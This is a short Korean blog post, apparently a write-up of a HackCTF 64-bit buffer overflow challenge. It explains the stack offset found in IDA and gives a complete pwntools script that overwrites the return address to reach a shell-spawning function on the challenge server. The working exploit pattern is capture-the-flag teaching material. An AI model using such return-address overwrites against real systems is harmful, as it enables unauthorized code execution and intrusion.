64비트의 버퍼 오버플로우도 32비트와 다를 것 없다. ebp, esp, eax대신 확장된 레지스터인 rbp, rsp, rax를 사용하며, 주소가 4바이트인 32비트와는 달리 주소의 길이가 8바이트이다. 먼저 IDA를 이용해 코드를 확인해준다.
s 변수에 문자열을 입력받고, v5에는 길이를 저장한 후, s를 출력해주는 함수이다. 왼쪽에 함수들 목록을 보면 callMeMaybe 라는 함수가 있다.
쉘을 실행시켜주는 함수이다. main 함수의 ret에 callmeMaybe 함수의 주소를 덮어씌우면 된다. IDA 상에서 s의 위치는 rbp-0x110이라고 나와있다. 페이로드는 다음과 같다.
A*0x110 + ebp [8Byte] + callmeMaybe [8Byte]
코드는 다음과 같다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3004)
payload = "A"*0x118 + "\x06\x06\x40\x00\x00\x00\x00\x00"
r.sendline(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
[ProjectH4C] HackCTF (Simple_Overflow_ver_2) (0) | 2020.09.17 |
---|---|
[ProjectH4C] HackCTF (x64 Simple_size_BOF) (0) | 2020.09.17 |
[ProjectH4C] HackCTF (내 버퍼가 흘러넘친다!!!) (0) | 2020.09.13 |
[ProjectH4C] HackCTF (Basic_FSB) (0) | 2020.09.13 |
[ProjectH4C] HackCTF (bof_basic 1~2) (0) | 2020.09.07 |